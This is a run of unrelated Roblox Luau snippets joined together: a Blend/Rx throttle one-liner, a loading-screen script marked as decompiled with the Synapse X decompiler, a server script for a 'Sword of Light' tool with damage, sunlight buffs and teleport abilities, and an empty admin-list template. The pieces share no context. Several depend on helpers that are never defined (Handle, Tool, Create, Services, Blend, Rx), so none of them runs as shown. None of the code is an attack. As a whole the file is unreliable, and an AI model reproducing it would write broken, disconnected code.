function Blend.Throttled(observable) return observable:Pipe({ Rx.throttleDefer(); }) end
-- Decompiled with the Synapse X Luau decompiler.
local l__RunService__1 = game:GetService("RunService"); local l__Parent__2 = script.Parent; local l__Background__3 = l__Parent__2.Background; local l__LogoFrame__4 = l__Background__3.LogoFrame; local l__TweenService__1 = game:GetService("TweenService"); function tween(p1, p2, p3) l__TweenService__1:Create(p1, TweenInfo.new(p2), p3):Play(); end; local l__Logo__2 = l__LogoFrame__4.Logo; function displayLoadingScreen() l__Parent__2.Enabled = true; l__Background__3.BackgroundTransparency = 0; tween(l__Background__3.CircleLeft.UIStroke, 3, { Transparency = 0 }); tween(l__Background__3.CircleRight.UIStroke, 3, { Transparency = 0 }); task.wait(3); local v5, v6, v7 = pairs(l__Logo__2:GetChildren()); while true do local v8, v9 = v5(v6, v7); if v8 then else break; end; v7 = v8; if v9.ClassName == "Frame" then v9.UIPageLayout.TweenTime = 0.75; v9.UIPageLayout:JumpTo(v9.ImageLabel); tween(v9.ImageLabel, 1, { ImageTransparency = 0 }); task.wait(); end; end; tween(l__LogoFrame__4.LoadingText, 1, { TextTransparency = 0 }); task.wait(2); if not game:IsLoaded() then game.Loaded:Wait(); end; local v10, v11, v12 = pairs(l__Logo__2:GetChildren()); while true do local v13, v14 = v10(v11, v12); if v13 then else break; end; v12 = v13; if v14.ClassName == "Frame" then v14.UIPageLayout.TweenTime = 2; v14.UIPageLayout:JumpTo(v14.Frame); tween(v14.ImageLabel, 0.15, { ImageTransparency = 1 }); task.wait(); end; end; tween(l__LogoFrame__4.LoadingText, 1, { TextTransparency = 1 }); tween(l__Background__3.CircleLeft.UIStroke, 1, { Transparency = 1 }); tween(l__Background__3.CircleRight.UIStroke, 1, { Transparency = 1 }); tween(l__Background__3, 3, { BackgroundTransparency = 1 }); task.wait(3); l__Parent__2.Enabled = false; end; game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen(); if not l__RunService__1:IsStudio() then displayLoadingScreen(); end;
--[[local SwordMesh = Handle:WaitForChild("SwordMesh") SwordMesh.VertexColor = Vector3.new(1,1,1) -- Keep it normal]]
local Properties = { Damage = 14, Special = true, SpecialReload = 30, SpecialActive = false, TimetoChange = 12, LightTeleport = true } local Sounds = { Lunge = Handle:WaitForChild("Lunge"), Unsheath = Handle:WaitForChild("Unsheath") } local Remote = Tool:FindFirstChildOfClass("RemoteEvent") or Create("RemoteEvent"){ Name = "Remote", Parent = Tool } local MousePos = Tool:FindFirstChildOfClass("RemoteFunction") or Create("RemoteFunction"){ Name = "MouseInput", Parent = Tool } local function SunIsVisible(Character) local dir = Services.Lighting:GetSunDirection() if Vector3.new(0,1,0):Dot(dir) > 0 then -- BUG: particles block raycast local hit = workspace:FindPartOnRay(Ray.new(Handle.Position,dir*999),Character) if not hit or (hit and not hit.CanCollide)then return true end end return false end function IsInTable(Table,Value) for _,v in pairs(Table) do if v == Value then return true end end return false end local function Wait(para) -- bypasses the latency local Initial = tick() repeat Services.RunService.Stepped:Wait() until tick()-Initial >= para end function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Services.Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end local function EnableParticles(Verdict) for _,stuff in pairs(Handle:GetDescendants()) do if (stuff:IsA("ParticleEmitter") and stuff.Parent ~= Handle) or stuff:IsA("Light") then stuff.Enabled = Verdict end if stuff:IsA("Light") then stuff.Range = (Verdict and 10) or 3 end end end local function SpecialParticles(Verdict) for _,stuff in pairs(Handle:GetDescendants()) do if stuff:IsA("ParticleEmitter") and stuff.Parent == Handle then stuff.Enabled = Verdict end if stuff:IsA("Beam") then stuff.TextureSpeed = (Verdict and 1) or .1 stuff.Color = (Verdict and ColorSequence.new(Color3.new(1,1,1)) or ColorSequence.new(Color3.new(.5,.5,.5))) end end end local Player,Character,Humanoid,Root function PassiveSpecial() --Sword of light does healing + Damage resistance when the sun is out --Check if Daytime then roll with ability --loop until time is not daytime if not Humanoid or Humanoid.Health <= 0 or not Character then return end if not SunIsVisible(Character) then --print("Sun is not visible") EnableParticles(false) Properties.SpecialActive = false if Humanoid and Tool:IsDescendantOf(Character) then Humanoid.WalkSpeed = 16 Properties.Damage = 14 end --[[Disable particles on sword]] return end if Humanoid and Tool:IsDescendantOf(Character) then Humanoid.WalkSpeed = 25 Properties.Damage = 20 end --Trigger active particles on sword if not Character:FindFirstChild(script:WaitForChild("SoLDefense").Name) and Tool:IsDescendantOf(Character) then local DefenseScript = script:WaitForChild("SoLDefense"):Clone() local ToolRef = Create("ObjectValue"){ Name = "ToolRef", Value = Tool, Parent = DefenseScript } DefenseScript.Parent = Character DefenseScript.Disabled = false end if Properties.SpecialActive then --[[print("On Cooldown")]] return end --SwordMesh.VertexColor = Vector3.new(1,1,1) * 10 -- Make the sword look all bright Properties.SpecialActive = true EnableParticles(true) end local Animations = {} function ChangeTime(Time) --initiate the cool time-chaning effect! if not Properties.Special then return end --warn("Changing Time") Properties.Special = false SpecialParticles(false) Tool.Enabled = false Humanoid.WalkSpeed = 0 Animations.Summon:Play() delay(3,function() PassiveSpecial() Tool.Enabled = true Animations.Summon:Stop() --Humanoid.WalkSpeed = (Humanoid.WalkSpeed <=0 and 16) or Humanoid.WalkSpeed end) delay(Properties.SpecialReload,function() Properties.Special = true SpecialParticles(true) end) local TimeChange = script:WaitForChild("TimeChange"):Clone() local SpawnPosition = Create("Vector3Value"){ Name = "SpawnPosition", Value = Root.Position - Vector3.new(0,Root.Size.Y * 1.5,0), Parent = TimeChange, } local Creator = Create("ObjectValue"){ Name = "Creator", Value = Player, Parent = TimeChange } local Time = Create("NumberValue"){ Name = "Time", Value = Time, Parent = TimeChange } TimeChange.Parent = Services.ServerScriptService TimeChange.Disabled = false end local function LightTransport() local LightWarpScript = script:WaitForChild("LightWarp") local function IsWarping() local stuff = Services.ServerScriptService:GetChildren() for i=1,#stuff do if stuff[i] and stuff[i].Name == LightWarpScript.Name and stuff[i]:FindFirstChild("Character") and stuff[i]:FindFirstChild("Character").Value == Character then return true end end return false end if IsWarping() then return end local sucess,MousePosition = pcall(function() return MousePos:InvokeClient(Player) end) MousePosition = (sucess and MousePosition) or Vector3.new(0,0,0) LightWarpScript = LightWarpScript:Clone() local CharacterTag = Create("ObjectValue"){ Name = "Character", Value = Character, Parent = LightWarpScript } local TargetLocation = Create("Vector3Value"){ Name = "TargetLocation", Value = MousePosition, Parent = LightWarpScript } local Range = Create("NumberValue"){ Name = "Range", Value = (Properties.SpecialActive and 200) or 100, Parent = LightWarpScript } LightWarpScript.Parent = Services.ServerScriptService LightWarpScript.Disabled = false end local EquippedEvents = {} local Touch local MouseHeld = false local CurrentMotor,RightWeld,Part0,Part1 function Equipped() Character = Tool.Parent Player = Services.Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Root = Character:WaitForChild("HumanoidRootPart") if not Humanoid or Humanoid.Health <= 0 then return end Animations = Tool:WaitForChild("Animations"):WaitForChild(Humanoid.RigType.Name) Animations = { Slash = Humanoid:LoadAnimation(Animations:WaitForChild("SlashAnim")), Stab = Humanoid:LoadAnimation(Animations:WaitForChild("StabAnim")), Summon = Humanoid:LoadAnimation(Animations:WaitForChild("SummonAnim")), Charge = Humanoid:LoadAnimation(Animations:WaitForChild("ChargeAnim")), } Touch = Handle.Touched:Connect(function(hit) if not hit or not hit.Parent then return end local Hum,FF = hit.Parent:FindFirstChildOfClass("Humanoid"),hit.Parent:FindFirstChildOfClass("ForceField") if not Hum or FF or Hum.Health <= 0 or IsTeamMate(Services.Players:GetPlayerFromCharacter(Hum.Parent),Player) or Hum.Parent == Character then return end UntagHumanoid(Hum) TagHumanoid(Hum,Player) Hum:TakeDamage(Properties.Damage) print(Properties.Damage) end) PassiveSpecial() Sounds.Unsheath:Play() end function Unequipped() MouseHeld = false if Touch then Touch:Disconnect();Touch = nil end for AnimName,anim in pairs(Animations) do if anim then anim:Stop() end end if CurrentMotor then CurrentMotor:Destroy() end if Tool:IsDescendantOf(workspace) and not Tool:IsDescendantOf(Character) then for index = 1,#EquippedEvents do if EquippedEvents[index] then EquippedEvents[index]:Disconnect();EquippedEvents[index] = nil end end end end local Seed = Random.new() function Activated() if not Tool.Enabled or MouseHeld then return end MouseHeld = true Animations.Charge:Play() end function Deactivated() if not Tool.Enabled or not MouseHeld then return end MouseHeld = false Tool.Enabled = false local RightLimb = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if RightLimb then RightWeld = RightLimb:FindFirstChildOfClass("Weld") if RightWeld and not CurrentMotor then CurrentMotor = Create'Motor6D'{ Name = 'Grip', --C0 = RightWeld.C0, --C1 = Tool.Grip,--RightWeld.C1, Part0 = RightWeld.Part0, Part1 = Handle, --Parent = RightArm } CurrentMotor.Parent = RightLimb end coroutine.wrap(function() if RightWeld then Part0 = RightWeld.Part0 Part1 = RightWeld.Part1 RightWeld.Part0 = nil RightWeld.Part1 = nil end end)() end local AttackAnims = {--[[Animations.Slash,]]Animations.Stab} Sounds.Lunge:Play() Animations.Charge:Stop() local Anim = AttackAnims[Seed:NextInteger(1,#AttackAnims)] Anim:Play(0,nil,3);--Anim.Stopped:Wait() Wait(Anim.Length/3) if RightWeld then RightWeld.Part0 = Part0 RightWeld.Part1 = Part1 end if CurrentMotor then CurrentMotor:Destroy();CurrentMotor = nil end Tool.Enabled = true end Remote.OnServerEvent:Connect(function(Client,Key) if Client ~= Player or not Key or not Humanoid or Humanoid.Health <= 0 or not Tool.Enabled then return end if Key == Enum.KeyCode.Q then ChangeTime(Properties.TimetoChange) elseif Key == Enum.KeyCode.E and Properties.LightTeleport then Properties.LightTeleport = false delay(5,function() Properties.LightTeleport = true end) LightTransport() end end) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Tool.Activated:Connect(Activated) Tool.Deactivated:Connect(Deactivated) Services.Lighting.Changed:Connect(function(property) if property == "ClockTime" then PassiveSpecial() end end) EnableParticles(false) SpecialParticles(true) PassiveSpecial()--trigger it initially on start
-- Admins List --
local Owners = {"Put Name Here"} --Has no limitations but can only be given through this script here local SuperAdmins = {"Put Name Here"} --Desc when done local Admins = {"Put Name Here"} --Desc when done local Mods = {"Put Name Here"} --Desc when done